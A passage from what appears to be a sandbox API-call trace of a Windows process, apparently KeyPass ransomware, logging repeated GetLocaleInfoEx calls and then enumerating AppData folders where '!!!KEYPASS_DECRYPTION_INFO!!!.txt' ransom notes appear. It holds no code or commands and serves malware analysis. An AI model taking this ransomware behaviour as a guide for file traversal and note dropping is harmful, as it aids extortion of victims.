lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0314.931] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0314.931] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0314.931] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0314.933] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0314.933] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0314.933] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0314.934] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.934] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.934] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.957] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0314.957] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0314.957] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0314.960] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.960] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.960] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.961] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.961] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.961] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.963] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0314.963] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0314.963] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0314.964] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0314.965] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0314.965] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0314.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.967] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.967] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.967] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.969] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.969] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.969] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.974] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.974] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.974] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.976] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.976] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.976] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.977] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0314.977] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0314.977] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0314.980] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.980] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.980] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.984] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.984] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.984] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.986] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.986] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.987] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0314.988] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0314.988] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0314.988] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0315.007] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0315.007] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0315.007] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0315.035] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0315.036] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0315.036] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0315.126] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0315.126] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0315.126] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0315.127] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0315.127] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0315.127] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0315.129] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0315.129] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0315.129] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0315.131] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0315.131] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0315.131] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0315.197] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0315.198] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0315.198] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0315.203] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0315.203] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0315.203] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0315.741] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0315.742] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0315.742] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0315.744] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0315.744] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0315.744] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0315.857] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0315.857] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0315.857] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.006] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.006] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.006] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.007] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.008] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.008] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.009] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.009] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.009] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.010] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.010] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.010] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.011] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.011] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.012] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.023] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.023] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.023] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.025] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.025] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.025] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.027] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.027] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.027] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.032] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.032] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.032] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.034] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.034] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.034] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.035] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.036] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.036] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.037] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.037] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.037] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.081] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.081] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.081] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.082] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.082] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.083] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.084] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.084] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.085] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.106] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.106] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.106] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.120] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.120] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.120] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.121] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.121] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.121] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.138] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.138] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.138] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.403] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.403] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.403] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.482] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.482] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.482] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.524] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.524] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.524] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.561] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.561] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.561] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.563] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.563] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.563] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.582] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.582] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.582] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.584] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0316.584] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0316.584] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0316.585] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.585] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.585] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.588] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.588] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.588] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.589] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0316.589] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0316.589] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0316.590] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0316.590] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0316.590] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0316.591] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0316.591] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0316.591] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0316.592] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.592] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\History\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.592] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini") returned=".ini" [0316.592] FindNextFileW (in: hFindFile=0x64fb670, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0316.594] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0316.594] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0316.594] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0316.595] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0316.595] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\container.dat") returned=".dat" [0316.595] FindNextFileW (in: hFindFile=0x64fb770, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0316.596] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0316.596] 